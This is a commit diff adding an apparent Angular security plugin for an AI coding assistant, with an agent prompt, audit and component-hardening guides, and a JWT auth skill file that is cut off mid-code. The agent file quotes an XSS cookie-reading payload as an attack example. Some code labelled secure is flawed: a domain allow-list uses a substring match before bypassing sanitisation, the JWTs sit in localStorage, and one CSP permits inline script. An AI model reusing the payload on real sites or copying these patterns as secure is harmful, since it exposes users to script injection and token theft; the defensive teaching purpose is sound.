commit ec2cec76369ddf836a59afa0ba6fb2e8af1f9fd4
Author: Zhongwei Li <lizhongwei.nkcs@gmail.com>
Date:   Sat Nov 29 18:25:02 2025 +0800

    Initial commit

diff --git a/.claude-plugin/plugin.json b/.claude-plugin/plugin.json
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+{
+  "name": "angular-security",
+  "description": "Security best practices with XSS prevention, authentication, and OWASP compliance",
+  "version": "1.0.0",
+  "author": {
+    "name": "Ihsan - Full-Stack Developer & AI Strategist",
+    "url": "https://github.com/EhssanAtassi"
+  },
+  "skills": [
+    "./skills/xss-prevention/SKILL.md",
+    "./skills/auth-patterns/SKILL.md"
+  ],
+  "agents": [
+    "./agents/angular-security-expert.md"
+  ],
+  "commands": [
+    "./commands/secure-component.md",
+    "./commands/audit-security.md"
+  ]
+}
\ No newline at end of file
diff --git a/README.md b/README.md
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+# angular-security
+
+Security best practices with XSS prevention, authentication, and OWASP compliance
diff --git a/agents/angular-security-expert.md b/agents/angular-security-expert.md
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+# Angular Security Expert
+
+Expert in Angular application security, XSS prevention, authentication, and OWASP best practices.
+
+## Expertise
+
+- **XSS Prevention**: DomSanitizer, Content Security Policy, template security
+- **Authentication**: JWT, OAuth2, session management, token storage
+- **Authorization**: Route guards, role-based access control (RBAC)
+- **CSRF Protection**: Token validation, SameSite cookies
+- **Secure Communication**: HTTPS, HTTP interceptors, secure headers
+- **Input Validation**: Form validation, sanitization, encoding
+- **Dependency Security**: npm audit, vulnerability scanning
+- **OWASP Top 10**: Injection, broken auth, sensitive data exposure
+
+## Core Responsibilities
+
+1. **Identify security vulnerabilities** in Angular applications
+2. **Implement XSS prevention** using DomSanitizer and CSP
+3. **Secure authentication flows** with JWT and OAuth2
+4. **Configure authorization** with guards and RBAC
+5. **Prevent CSRF attacks** with proper token handling
+6. **Validate and sanitize inputs** in forms and APIs
+7. **Audit dependencies** for known vulnerabilities
+8. **Apply security headers** and HTTPS enforcement
+
+## Available Commands
+
+- `/angular-security:secure-component` - Secure component against XSS and injection
+- `/angular-security:audit-security` - Comprehensive security audit
+
+## Available Skills
+
+- `xss-prevention` - Prevent cross-site scripting attacks
+- `auth-patterns` - Secure authentication and authorization patterns
+
+## Security Philosophy
+
+- **Defense in depth** - Multiple layers of security
+- **Least privilege** - Minimal permissions by default
+- **Secure by default** - Security built-in, not bolted-on
+- **Zero trust** - Verify everything, trust nothing
+
+## Code Quality Standards
+
+1. **Always sanitize** user-generated content
+2. **Never trust** client-side validation alone
+3. **Use HttpOnly cookies** for sensitive tokens
+4. **Implement CSP** headers
+5. **Validate all inputs** on server side
+6. **Encrypt sensitive data** in transit and at rest
+7. **Regular security audits** with npm audit
+
+## Communication Style
+
+- Identify **specific vulnerabilities** with severity ratings
+- Provide **secure code examples** with explanations
+- Reference **OWASP guidelines** when applicable
+- Explain **attack vectors** and mitigation strategies
+- Prioritize fixes by **risk level** (Critical → High → Medium → Low)
+
+## Example Interaction
+
+**User**: "Is this component secure?"
+
+```typescript
+@Component({
+  template: `<div [innerHTML]="userContent"></div>`
+})
+export class ContentComponent {
+  @Input() userContent: string;
+}
+```
+
+**You**:
+```
+🚨 CRITICAL VULNERABILITY: XSS Attack Vector
+
+Issue: Directly binding unsanitized HTML from user input
+Risk: Attackers can inject malicious scripts
+CVSS Score: 9.3 (Critical)
+
+Attack Example:
+userContent = '<img src=x onerror="alert(document.cookie)">'
+
+✅ Secure Implementation:
+
+@Component({
+  template: `<div [innerHTML]="safeContent"></div>`
+})
+export class ContentComponent {
+  @Input() set userContent(value: string) {
+    this.safeContent = this.sanitizer.sanitize(
+      SecurityContext.HTML,
+      value
+    );
+  }
+  
+  safeContent: SafeHtml;
+  
+  constructor(private sanitizer: DomSanitizer) {}
+}
+
+Or better - avoid innerHTML entirely:
+<div>{{ userContent }}</div> <!-- Auto-escaped by Angular -->
+```
+
+---
+
+*Security first, always! 🔒*
diff --git a/commands/audit-security.md b/commands/audit-security.md
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+# Audit Security Command
+
+Comprehensive security audit for Angular applications following OWASP guidelines.
+
+## Usage
+
+```bash
+/angular-security:audit-security
+```
+
+## Audit Categories
+
+### 1. Dependency Vulnerabilities
+
+```bash
+# Check for vulnerable packages
+npm audit
+
+# Fix automatically
+npm audit fix
+
+# View detailed report
+npm audit --json
+
+# Check specific severity
+npm audit --audit-level=high
+```
+
+### 2. XSS Vulnerabilities
+
+```typescript
+// Scan for dangerous patterns:
+// - innerHTML with user data
+// - bypassSecurityTrust* methods
+// - [style], [href], [src] with user input
+// - Dynamic script/style injection
+
+// ❌ Found issues:
+[innerHTML]="userContent"          // XSS risk
+[src]="untrustedUrl"               // URL injection
+[style]="userStyle"                // Style injection
+bypassSecurityTrustHtml(userHtml)  // Bypassing protection
+```
+
+### 3. Authentication & Authorization
+
+```typescript
+// ✅ Secure auth implementation
+export const authInterceptor: HttpInterceptorFn = (req, next) => {
+  const token = inject(AuthService).getToken();
+  
+  if (token) {
+    req = req.clone({
+      setHeaders: {
+        'Authorization': `Bearer ${token}`,
+        'X-Requested-With': 'XMLHttpRequest' // CSRF protection
+      }
+    });
+  }
+  
+  return next(req).pipe(
+    catchError((error: HttpErrorResponse) => {
+      if (error.status === 401) {
+        inject(Router).navigate(['/login']);
+      }
+      return throwError(() => error);
+    })
+  );
+};
+
+// ✅ Secure route guard
+export const authGuard: CanActivateFn = (route, state) => {
+  const authService = inject(AuthService);
+  const router = inject(Router);
+  
+  if (authService.isAuthenticated()) {
+    // Check role-based access
+    const requiredRole = route.data['role'];
+    if (requiredRole && !authService.hasRole(requiredRole)) {
+      return router.parseUrl('/unauthorized');
+    }
+    return true;
+  }
+  
+  return router.parseUrl('/login');
+};
+```
+
+### 4. CSRF Protection
+
+```typescript
+// ✅ CSRF token implementation
+export class CsrfInterceptor implements HttpInterceptor {
+  intercept(req: HttpRequest<any>, next: HttpHandler): Observable<HttpEvent<any>> {
+    // Get CSRF token from cookie
+    const csrfToken = this.getCookie('XSRF-TOKEN');
+    
+    // Add to header for state-changing requests
+    if (req.method !== 'GET' && req.method !== 'HEAD') {
+      req = req.clone({
+        setHeaders: {
+          'X-XSRF-TOKEN': csrfToken
+        }
+      });
+    }
+    
+    return next.handle(req);
+  }
+  
+  private getCookie(name: string): string {
+    const match = document.cookie.match(new RegExp('(^| )' + name + '=([^;]+)'));
+    return match ? match[2] : '';
+  }
+}
+```
+
+### 5. Token Storage
+
+```typescript
+// ❌ INSECURE: localStorage
+localStorage.setItem('token', jwt);  // Vulnerable to XSS
+
+// ✅ SECURE: HttpOnly cookie (server-side)
+// Set-Cookie: token=xxx; HttpOnly; Secure; SameSite=Strict
+
+// ✅ ALTERNATIVE: Memory + refresh token
+@Injectable({ providedIn: 'root' })
+export class TokenService {
+  private accessToken: string | null = null;
+  
+  setToken(token: string) {
+    this.accessToken = token;
+    // Refresh token in HttpOnly cookie
+  }
+  
+  getToken(): string | null {
+    return this.accessToken;
+  }
+  
+  clearToken() {
+    this.accessToken = null;
+  }
+}
+```
+
+### 6. Input Validation
+
+```typescript
+// ✅ Comprehensive validation
+export class SecureFormComponent {
+  form = this.fb.group({
+    username: ['', [
+      Validators.required,
+      Validators.minLength(3),
+      Validators.maxLength(20),
+      Validators.pattern(/^[a-zA-Z0-9_]+$/)
+    ]],
+    email: ['', [
+      Validators.required,
+      Validators.email
+    ]],
+    age: ['', [
+      Validators.required,
+      Validators.min(18),
+      Validators.max(120)
+    ]],
+    website: ['', [
+      this.urlValidator()
+    ]]
+  });
+  
+  private urlValidator(): ValidatorFn {
+    return (control: AbstractControl): ValidationErrors | null => {
+      if (!control.value) return null;
+      
+      try {
+        const url = new URL(control.value);
+        // Only allow https
+        if (url.protocol !== 'https:') {
+          return { invalidProtocol: true };
+        }
+        return null;
+      } catch {
+        return { invalidUrl: true };
+      }
+    };
+  }
+}
+```
+
+### 7. Secure HTTP Communication
+
+```typescript
+// ✅ HTTPS enforcement
+export class AppComponent implements OnInit {
+  ngOnInit() {
+    // Redirect HTTP to HTTPS
+    if (location.protocol !== 'https:' && 
+        !location.hostname.includes('localhost')) {
+      location.replace(`https:${location.href.substring(location.protocol.length)}`);
+    }
+  }
+}
+
+// ✅ Security headers (server-side config)
+// Strict-Transport-Security: max-age=31536000; includeSubDomains
+// X-Content-Type-Options: nosniff
+// X-Frame-Options: DENY
+// X-XSS-Protection: 1; mode=block
+// Referrer-Policy: strict-origin-when-cross-origin
+```
+
+### 8. Content Security Policy
+
+```html
+<!-- Strict CSP -->
+<meta http-equiv="Content-Security-Policy" content="
+  default-src 'self';
+  script-src 'self';
+  style-src 'self';
+  img-src 'self' data: https:;
+  font-src 'self';
+  connect-src 'self' https://api.example.com;
+  frame-ancestors 'none';
+  base-uri 'self';
+  form-action 'self';
+">
+```
+
+### 9. Rate Limiting
+
+```typescript
+// ✅ Client-side rate limiting
+@Injectable({ providedIn: 'root' })
+export class RateLimitService {
+  private requests = new Map<string, number[]>();
+  private readonly WINDOW_MS = 60000; // 1 minute
+  private readonly MAX_REQUESTS = 10;
+  
+  canMakeRequest(key: string): boolean {
+    const now = Date.now();
+    const timestamps = this.requests.get(key) || [];
+    
+    // Remove old timestamps
+    const validTimestamps = timestamps.filter(ts => 
+      now - ts < this.WINDOW_MS
+    );
+    
+    if (validTimestamps.length >= this.MAX_REQUESTS) {
+      return false;
+    }
+    
+    validTimestamps.push(now);
+    this.requests.set(key, validTimestamps);
+    return true;
+  }
+}
+```
+
+### 10. Logging & Monitoring
+
+```typescript
+// ✅ Security event logging
+@Injectable({ providedIn: 'root' })
+export class SecurityLogger {
+  logSecurityEvent(event: SecurityEvent) {
+    const log = {
+      timestamp: new Date().toISOString(),
+      event: event.type,
+      severity: event.severity,
+      user: this.authService.getCurrentUser()?.id,
+      details: event.details,
+      userAgent: navigator.userAgent,
+      ip: this.getClientIp()
+    };
+    
+    // Send to security monitoring service
+    this.http.post('/api/security/log', log).subscribe();
+  }
+  
+  logFailedLogin(username: string) {
+    this.logSecurityEvent({
+      type: 'FAILED_LOGIN',
+      severity: 'HIGH',
+      details: { username }
+    });
+  }
+  
+  logXSSAttempt(payload: string) {
+    this.logSecurityEvent({
+      type: 'XSS_ATTEMPT',
+      severity: 'CRITICAL',
+      details: { payload }
+    });
+  }
+}
+```
+
+## Audit Report Example
+
+```
+🔒 Security Audit Report
+Generated: 2025-10-21 15:30:00
+
+┌─────────────────────────────────────────┐
+│ OWASP Top 10 Compliance                 │
+├─────────────────────────────────────────┤
+│ A01: Broken Access Control     ✅ PASS  │
+│ A02: Cryptographic Failures    ✅ PASS  │
+│ A03: Injection                 ⚠️  WARN │
+│ A04: Insecure Design           ✅ PASS  │
+│ A05: Security Misconfiguration ❌ FAIL  │
+│ A06: Vulnerable Components     ⚠️  WARN │
+│ A07: Auth Failures             ✅ PASS  │
+│ A08: Software/Data Integrity   ✅ PASS  │
+│ A09: Logging Failures          ⚠️  WARN │
+│ A10: Server-Side Forgery       ✅ PASS  │
+└─────────────────────────────────────────┘
+
+📊 Severity Breakdown:
+┌──────────┬───────┬──────────────────┐
+│ Severity │ Count │ Issues           │
+├──────────┼───────┼──────────────────┤
+│ 🔴 CRITICAL │ 0  │                  │
+│ 🔴 HIGH     │ 2  │ XSS, CSP missing │
+│ 🟡 MEDIUM   │ 5  │ Various          │
+│ 🟢 LOW      │ 3  │ Improvements     │
+└──────────┴───────┴──────────────────┘
+
+🔴 HIGH Priority Issues:
+
+1. XSS Vulnerability in UserProfileComponent
+   File: user-profile.component.ts:45
+   Code: [innerHTML]="userBio"
+   Fix: Use DomSanitizer or remove innerHTML
+   
+2. Missing Content-Security-Policy
+   File: index.html
+   Impact: No XSS protection layer
+   Fix: Add CSP meta tag
+
+🟡 MEDIUM Priority Issues:
+
+3. Hardcoded API credentials
+   File: environment.ts:8
+   Fix: Use environment variables
+   
+4. No rate limiting on login
+   File: auth.service.ts:23
+   Fix: Implement rate limiting
+
+5. JWT in localStorage
+   File: token.service.ts:12
+   Fix: Use HttpOnly cookies
+
+🟢 LOW Priority Issues:
+
+6. Missing security headers
+   Fix: Configure server headers
+   
+7. No input sanitization
+   Fix: Add validation to forms
+
+8. Console.log in production
+   Fix: Remove debug logs
+
+📋 npm audit Results:
+┌──────────┬───────┐
+│ Critical │ 0     │
+│ High     │ 1     │
+│ Moderate │ 3     │
+│ Low      │ 8     │
+└──────────┴───────┘
+
+Vulnerable packages:
+- lodash@4.17.15 (HIGH) → Update to 4.17.21
+- axios@0.21.1 (MODERATE) → Update to 1.6.0
+
+✅ Secure Practices Found:
+- HTTPS enforced
+- Route guards implemented
+- Form validation present
+- CSRF tokens in use
+- Password hashing (bcrypt)
+
+🎯 Security Score: 7.2/10
+
+📈 After Fixes: 9.5/10
+
+⏱️ Estimated Fix Time: 4-6 hours
+
+🔧 Action Plan:
+1. Fix XSS vulnerability (30 min)
+2. Add CSP headers (15 min)
+3. Move JWT to HttpOnly cookie (1 hour)
+4. Update vulnerable dependencies (30 min)
+5. Add rate limiting (1 hour)
+6. Implement security logging (1 hour)
+```
+
+## Continuous Security
+
+```yaml
+# .github/workflows/security.yml
+name: Security Audit
+
+on: [push, pull_request]
+
+jobs:
+  security:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v3
+      
+      - name: npm audit
+        run: npm audit --audit-level=moderate
+      
+      - name: OWASP Dependency Check
+        uses: dependency-check/Dependency-Check_Action@main
+      
+      - name: Snyk Security Scan
+        uses: snyk/actions/node@master
+        env:
+          SNYK_TOKEN: ${{ secrets.SNYK_TOKEN }}
+```
+
+---
+
+*Audit regularly, fix proactively! 🛡️*
diff --git a/commands/secure-component.md b/commands/secure-component.md
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--- /dev/null
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+# Secure Component Command
+
+Analyze and secure Angular components against XSS, injection, and other vulnerabilities.
+
+## Usage
+
+```bash
+/angular-security:secure-component <ComponentName>
+```
+
+## Security Checks
+
+### 1. XSS Prevention
+
+```typescript
+// ❌ CRITICAL: XSS vulnerability
+@Component({
+  template: `<div [innerHTML]="userInput"></div>`
+})
+export class UnsafeComponent {
+  @Input() userInput: string;
+}
+
+// ✅ SECURE: Sanitized HTML
+@Component({
+  template: `<div [innerHTML]="safeContent"></div>`
+})
+export class SafeComponent {
+  @Input() set userInput(value: string) {
+    this.safeContent = this.sanitizer.sanitize(
+      SecurityContext.HTML,
+      value
+    );
+  }
+  
+  safeContent: SafeHtml;
+  
+  constructor(private sanitizer: DomSanitizer) {}
+}
+
+// ✅ BEST: Avoid innerHTML
+@Component({
+  template: `<div>{{ userInput }}</div>` // Auto-escaped
+})
+export class BestComponent {
+  @Input() userInput: string;
+}
+```
+
+### 2. URL Sanitization
+
+```typescript
+// ❌ DANGEROUS: Arbitrary URL
+<a [href]="userUrl">Click</a>
+
+// ✅ SECURE: Sanitize URLs
+export class LinkComponent {
+  @Input() set url(value: string) {
+    this.safeUrl = this.sanitizer.sanitize(
+      SecurityContext.URL,
+      value
+    );
+  }
+  
+  safeUrl: SafeUrl;
+  
+  constructor(private sanitizer: DomSanitizer) {}
+}
+
+// Template
+<a [href]="safeUrl">Click</a>
+```
+
+### 3. Resource URL Validation
+
+```typescript
+// ❌ DANGEROUS: Untrusted resource
+<iframe [src]="videoUrl"></iframe>
+
+// ✅ SECURE: Whitelist trusted domains
+export class VideoComponent {
+  @Input() set videoUrl(url: string) {
+    if (this.isTrustedDomain(url)) {
+      this.safeUrl = this.sanitizer.bypassSecurityTrustResourceUrl(url);
+    } else {
+      console.error('Untrusted video URL:', url);
+      this.safeUrl = null;
+    }
+  }
+  
+  safeUrl: SafeResourceUrl | null;
+  
+  private trustedDomains = ['youtube.com', 'vimeo.com'];
+  
+  private isTrustedDomain(url: string): boolean {
+    try {
+      const domain = new URL(url).hostname;
+      return this.trustedDomains.some(trusted => 
+        domain.includes(trusted)
+      );
+    } catch {
+      return false;
+    }
+  }
+  
+  constructor(private sanitizer: DomSanitizer) {}
+}
+```
+
+### 4. Style Injection
+
+```typescript
+// ❌ DANGEROUS: User-controlled styles
+<div [style]="userStyle">Content</div>
+
+// ✅ SECURE: Sanitize styles
+export class StyledComponent {
+  @Input() set userStyle(value: string) {
+    this.safeStyle = this.sanitizer.sanitize(
+      SecurityContext.STYLE,
+      value
+    );
+  }
+  
+  safeStyle: SafeStyle;
+  
+  constructor(private sanitizer: DomSanitizer) {}
+}
+
+// ✅ BETTER: Use class binding
+<div [class]="userClass">Content</div>
+```
+
+### 5. Dynamic Script Loading
+
+```typescript
+// ❌ NEVER DO THIS
+eval(userCode);
+new Function(userCode)();
+
+// ✅ SECURE: No dynamic code execution
+// Use configuration objects instead
+export class ConfigurableComponent {
+  @Input() config: {
+    enabled: boolean;
+    options: string[];
+  };
+  
+  executeAction() {
+    // Safe configuration-driven logic
+    if (this.config.enabled) {
+      this.config.options.forEach(opt => this.handleOption(opt));
+    }
+  }
+}
+```
+
+### 6. Form Input Validation
+
+```typescript
+// ✅ SECURE: Comprehensive validation
+export class UserFormComponent {
+  userForm = this.fb.group({
+    username: ['', [
+      Validators.required,
+      Validators.minLength(3),
+      Validators.maxLength(20),
+      Validators.pattern(/^[a-zA-Z0-9_]+$/) // Alphanumeric only
+    ]],
+    email: ['', [
+      Validators.required,
+      Validators.email
+    ]],
+    bio: ['', [
+      Validators.maxLength(500)
+    ]]
+  });
+  
+  constructor(private fb: FormBuilder) {}
+  
+  onSubmit() {
+    if (this.userForm.valid) {
+      // Server-side validation still required!
+      const data = this.userForm.value;
+      this.api.createUser(data).subscribe();
+    }
+  }
+}
+```
+
+### 7. File Upload Security
+
+```typescript
+// ✅ SECURE: File validation
+export class FileUploadComponent {
+  private readonly MAX_SIZE = 5 * 1024 * 1024; // 5MB
+  private readonly ALLOWED_TYPES = [
+    'image/jpeg',
+    'image/png',
+    'image/gif',
+    'application/pdf'
+  ];
+  
+  onFileSelected(event: Event) {
+    const input = event.target as HTMLInputElement;
+    const file = input.files?.[0];
+    
+    if (!file) return;
+    
+    // Validate file type
+    if (!this.ALLOWED_TYPES.includes(file.type)) {
+      alert('Invalid file type');
+      return;
+    }
+    
+    // Validate file size
+    if (file.size > this.MAX_SIZE) {
+      alert('File too large (max 5MB)');
+      return;
+    }
+    
+    // Validate file extension
+    const ext = file.name.split('.').pop()?.toLowerCase();
+    const validExtensions = ['jpg', 'jpeg', 'png', 'gif', 'pdf'];
+    if (!ext || !validExtensions.includes(ext)) {
+      alert('Invalid file extension');
+      return;
+    }
+    
+    this.uploadFile(file);
+  }
+}
+```
+
+### 8. Sensitive Data in Templates
+
+```typescript
+// ❌ DANGEROUS: Exposing sensitive data
+@Component({
+  template: `
+    <div>API Key: {{ apiKey }}</div>
+    <div>Password: {{ password }}</div>
+  `
+})
+
+// ✅ SECURE: Never expose sensitive data
+@Component({
+  template: `
+    <div>Status: {{ isAuthenticated ? 'Connected' : 'Disconnected' }}</div>
+  `
+})
+export class SecureComponent {
+  isAuthenticated: boolean;
+  
+  // Sensitive data only in memory, never in template
+  private apiKey: string;
+  private password: string;
+}
+```
+
+### 9. Clickjacking Prevention
+
+```typescript
+// Set X-Frame-Options header (server-side)
+// But also check in Angular:
+
+export class FrameGuard implements OnInit {
+  ngOnInit() {
+    // Prevent loading in iframe
+    if (window.self !== window.top) {
+      console.error('Clickjacking attempt detected');
+      window.top.location = window.self.location;
+    }
+  }
+}
+```
+
+### 10. Content Security Policy
+
+```html
+<!-- index.html -->
+<meta http-equiv="Content-Security-Policy" 
+      content="
+        default-src 'self';
+        script-src 'self' 'unsafe-inline';
+        style-src 'self' 'unsafe-inline';
+        img-src 'self' data: https:;
+        font-src 'self' data:;
+        connect-src 'self' https://api.example.com;
+        frame-ancestors 'none';
+      ">
+```
+
+## Security Audit Checklist
+
+```typescript
+// Component security audit
+export class AuditedComponent {
+  // ✅ 1. No innerHTML with user data
+  // ✅ 2. All URLs sanitized
+  // ✅ 3. Form inputs validated
+  // ✅ 4. No eval or Function constructor
+  // ✅ 5. Sensitive data not in template
+  // ✅ 6. File uploads validated
+  // ✅ 7. External resources whitelisted
+  // ✅ 8. CSP headers configured
+  // ✅ 9. HTTPS enforced
+  // ✅ 10. Dependencies audited
+}
+```
+
+## Output Example
+
+```
+🔒 Security Audit: UserProfileComponent
+
+⚠️ Issues Found:
+
+1. 🔴 CRITICAL: XSS Vulnerability (Line 23)
+   Location: template: `<div [innerHTML]="bio"></div>`
+   Risk: Arbitrary JavaScript execution
+   Fix: Use sanitizer or remove innerHTML
+   
+2. 🟡 HIGH: Unvalidated File Upload (Line 45)
+   Location: onFileUpload(event)
+   Risk: Malicious file upload
+   Fix: Add file type and size validation
+   
+3. 🟡 MEDIUM: Hardcoded API Key (Line 12)
+   Location: apiKey = 'sk_live_123...'
+   Risk: Credential exposure
+   Fix: Use environment variables
+
+✅ Secure Patterns Detected:
+- Form validation with Validators
+- HTTPS enforced
+- HttpOnly cookies for auth token
+
+📋 Recommendations:
+1. Sanitize HTML content
+2. Validate file uploads
+3. Move API key to environment config
+4. Add CSP headers
+5. Implement rate limiting for API calls
+
+🎯 Security Score: 6/10 (Medium Risk)
+After fixes: 9/10 (Low Risk)
+```
+
+---
+
+*Secure every component! 🛡️*
diff --git a/plugin.lock.json b/plugin.lock.json
new file mode 100644
index 0000000..b6664be
--- /dev/null
+++ b/plugin.lock.json
@@ -0,0 +1,61 @@
+{
+  "$schema": "internal://schemas/plugin.lock.v1.json",
+  "pluginId": "gh:EhssanAtassi/angular-marketplace-developer:plugins/angular-security",
+  "normalized": {
+    "repo": null,
+    "ref": "refs/tags/v20251128.0",
+    "commit": "f3b53fcd2b80be7fe0e1843dd43bd1ec4ca9ac6a",
+    "treeHash": "e8f96394b2d1dfef13dcf7e28a354d7d65fb5ce03bec7acc974f5335b9a02dfa",
+    "generatedAt": "2025-11-28T10:10:28.685743Z",
+    "toolVersion": "publish_plugins.py@0.2.0"
+  },
+  "origin": {
+    "remote": "git@github.com:zhongweili/42plugin-data.git",
+    "branch": "master",
+    "commit": "aa1497ed0949fd50e99e70d6324a29c5b34f9390",
+    "repoRoot": "/Users/zhongweili/projects/openmind/42plugin-data"
+  },
+  "manifest": {
+    "name": "angular-security",
+    "description": "Security best practices with XSS prevention, authentication, and OWASP compliance",
+    "version": "1.0.0"
+  },
+  "content": {
+    "files": [
+      {
+        "path": "README.md",
+        "sha256": "6c7bf2567bbefb3ca680cdfdd5713ef1f2ccbd8a2c16b8d97d1cac900746f3f3"
+      },
+      {
+        "path": "agents/angular-security-expert.md",
+        "sha256": "e4e6c196077f81426895f937ecf5e1d282f1c6cfa3c7b7dc27e203af9c6d8068"
+      },
+      {
+        "path": ".claude-plugin/plugin.json",
+        "sha256": "d19571668756bb0dde98a7e4a0ed476fbda61f6b8501f78e27a8fab747075100"
+      },
+      {
+        "path": "commands/audit-security.md",
+        "sha256": "dadfb478688e7dca2d11a638a33e7d7610099e8b2b9087fc1c8cb6559877847b"
+      },
+      {
+        "path": "commands/secure-component.md",
+        "sha256": "891e5c4a7d779a9fd6f566a80e478c1c4ab150d35a614772d6f0dfa415458509"
+      },
+      {
+        "path": "skills/auth-patterns/SKILL.md",
+        "sha256": "8604ccd24c83007c7484cef2ff46a5b48dc51d3a8f20baaac0a07d3aa87fde11"
+      },
+      {
+        "path": "skills/xss-prevention/SKILL.md",
+        "sha256": "6a850bf94a9725e33919c63e21c057890d2029ea81bc3130eb6ff167218bd77a"
+      }
+    ],
+    "dirSha256": "e8f96394b2d1dfef13dcf7e28a354d7d65fb5ce03bec7acc974f5335b9a02dfa"
+  },
+  "security": {
+    "scannedAt": null,
+    "scannerVersion": null,
+    "flags": []
+  }
+}
\ No newline at end of file
diff --git a/skills/auth-patterns/SKILL.md b/skills/auth-patterns/SKILL.md
new file mode 100644
index 0000000..f75f5a1
--- /dev/null
+++ b/skills/auth-patterns/SKILL.md
@@ -0,0 +1,902 @@
+# Authentication & Authorization Patterns
+
+Complete guide to secure authentication and authorization in Angular applications.
+
+## Table of Contents
+
+1. [Authentication Basics](#authentication-basics)
+2. [JWT Implementation](#jwt-implementation)
+3. [OAuth2 & Social Login](#oauth2--social-login)
+4. [Token Management](#token-management)
+5. [Route Guards](#route-guards)
+6. [Role-Based Access Control](#role-based-access-control)
+7. [HTTP Interceptors](#http-interceptors)
+8. [Session Management](#session-management)
+
+---
+
+## Authentication Basics
+
+### Authentication Flow
+
+```
+1. User enters credentials
+2. Frontend sends to backend
+3. Backend validates credentials
+4. Backend generates JWT token
+5. Frontend stores token securely
+6. Frontend includes token in API requests
+7. Backend validates token on each request
+```
+
+### Secure Authentication Service
+
+```typescript
+@Injectable({ providedIn: 'root' })
+export class AuthService {
+  private readonly TOKEN_KEY = 'auth_token';
+  private currentUserSubject = new BehaviorSubject<User | null>(null);
+  public currentUser$ = this.currentUserSubject.asObservable();
+  
+  constructor(
+    private http: HttpClient,
+    private router: Router
+  ) {
+    // Initialize user from token on app start
+    this.loadUserFromToken();
+  }
+  
+  login(email: string, password: string): Observable<AuthResponse> {
+    return this.http.post<AuthResponse>('/api/auth/login', {
+      email,
+      password
+    }).pipe(
+      tap(response => {
+        this.setSession(response);
+      }),
+      catchError(error => {
+        console.error('Login failed:', error);
+        return throwError(() => error);
+      })
+    );
+  }
+  
+  logout(): void {
+    // Clear token
+    localStorage.removeItem(this.TOKEN_KEY);
+    
+    // Clear user state
+    this.currentUserSubject.next(null);
+    
+    // Redirect to login
+    this.router.navigate(['/login']);
+    
+    // Optional: Call backend to invalidate token
+    this.http.post('/api/auth/logout', {}).subscribe();
+  }
+  
+  isAuthenticated(): boolean {
+    const token = this.getToken();
+    if (!token) return false;
+    
+    // Check if token is expired
+    return !this.isTokenExpired(token);
+  }
+  
+  getToken(): string | null {
+    return localStorage.getItem(this.TOKEN_KEY);
+  }
+  
+  private setSession(authResult: AuthResponse): void {
+    // Store token
+    localStorage.setItem(this.TOKEN_KEY, authResult.token);
+    
+    // Update current user
+    this.currentUserSubject.next(authResult.user);
+  }
+  
+  private loadUserFromToken(): void {
+    const token = this.getToken();
+    if (token && !this.isTokenExpired(token)) {
+      // Decode token to get user info
+      const decoded = this.decodeToken(token);
+      this.currentUserSubject.next(decoded.user);
+    }
+  }
+  
+  private isTokenExpired(token: string): boolean {
+    try {
+      const decoded = this.decodeToken(token);
+      const expiryTime = decoded.exp * 1000; // Convert to milliseconds
+      return Date.now() >= expiryTime;
+    } catch {
+      return true;
+    }
+  }
+  
+  private decodeToken(token: string): any {
+    try {
+      const payload = token.split('.')[1];
+      return JSON.parse(atob(payload));
+    } catch {
+      return null;
+    }
+  }
+}
+```
+
+---
+
+## JWT Implementation
+
+### JWT Structure
+
+```
+eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.  // Header
+eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.  // Payload
+SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c  // Signature
+```
+
+### JWT Payload
+
+```typescript
+interface JwtPayload {
+  sub: string;        // Subject (user ID)
+  email: string;      // User email
+  name: string;       // User name
+  role: string;       // User role
+  iat: number;        // Issued at
+  exp: number;        // Expiration time
+}
+```
+
+### JWT Service
+
+```typescript
+@Injectable({ providedIn: 'root' })
+export class JwtService {
+  private readonly SECRET_KEY = 'your-secret-key'; // Server-side only!
+  
+  // Decode JWT (client-side)
+  decode(token: string): any {
+    try {
+      const parts = token.split('.');
+      if (parts.length !== 3) {
+        throw new Error('Invalid token format');
+      }
+      
+      const payload = parts[1];
+      const decoded = atob(payload.replace(/-/g, '+').replace(/_/g, '/'));
+      return JSON.parse(decoded);
+    } catch (error) {
+      console.error('Failed to decode token:', error);
+      return null;
+    }
+  }
+  
+  // Check if token is expired
+  isExpired(token: string): boolean {
+    const decoded = this.decode(token);
+    if (!decoded || !decoded.exp) return true;
+    
+    const expiryTime = decoded.exp * 1000;
+    return Date.now() >= expiryTime;
+  }
+  
+  // Get expiry date
+  getExpiryDate(token: string): Date | null {
+    const decoded = this.decode(token);
+    if (!decoded || !decoded.exp) return null;
+    
+    return new Date(decoded.exp * 1000);
+  }
+  
+  // Get time until expiry
+  getTimeUntilExpiry(token: string): number {
+    const expiryDate = this.getExpiryDate(token);
+    if (!expiryDate) return 0;
+    
+    return expiryDate.getTime() - Date.now();
+  }
+}
+```
+
+### Token Refresh
+
+```typescript
+@Injectable({ providedIn: 'root' })
+export class TokenRefreshService {
+  private refreshInProgress = false;
+  private refreshSubject = new Subject<string>();
+  
+  constructor(
+    private http: HttpClient,
+    private authService: AuthService
+  ) {
+    // Auto-refresh before expiry
+    this.setupAutoRefresh();
+  }
+  
+  refreshToken(): Observable<string> {
+    if (this.refreshInProgress) {
+      // Return existing refresh observable
+      return this.refreshSubject.pipe(
+        filter(token => !!token),
+        take(1)
+      );
+    }
+    
+    this.refreshInProgress = true;
+    
+    return this.http.post<{ token: string }>('/api/auth/refresh', {
+      refreshToken: this.authService.getRefreshToken()
+    }).pipe(
+      tap(response => {
+        this.authService.setToken(response.token);
+        this.refreshInProgress = false;
+        this.refreshSubject.next(response.token);
+      }),
+      catchError(error => {
+        this.refreshInProgress = false;
+        this.authService.logout();
+        return throwError(() => error);
+      })
+    );
+  }
+  
+  private setupAutoRefresh(): void {
+    // Refresh token 5 minutes before expiry
+    const REFRESH_BEFORE_EXPIRY = 5 * 60 * 1000; // 5 minutes
+    
+    interval(60000).pipe( // Check every minute
+      filter(() => this.authService.isAuthenticated()),
+      switchMap(() => {
+        const token = this.authService.getToken();
+        if (!token) return of(null);
+        
+        const timeUntilExpiry = this.getTimeUntilExpiry(token);
+        
+        if (timeUntilExpiry <= REFRESH_BEFORE_EXPIRY) {
+          return this.refreshToken();
+        }
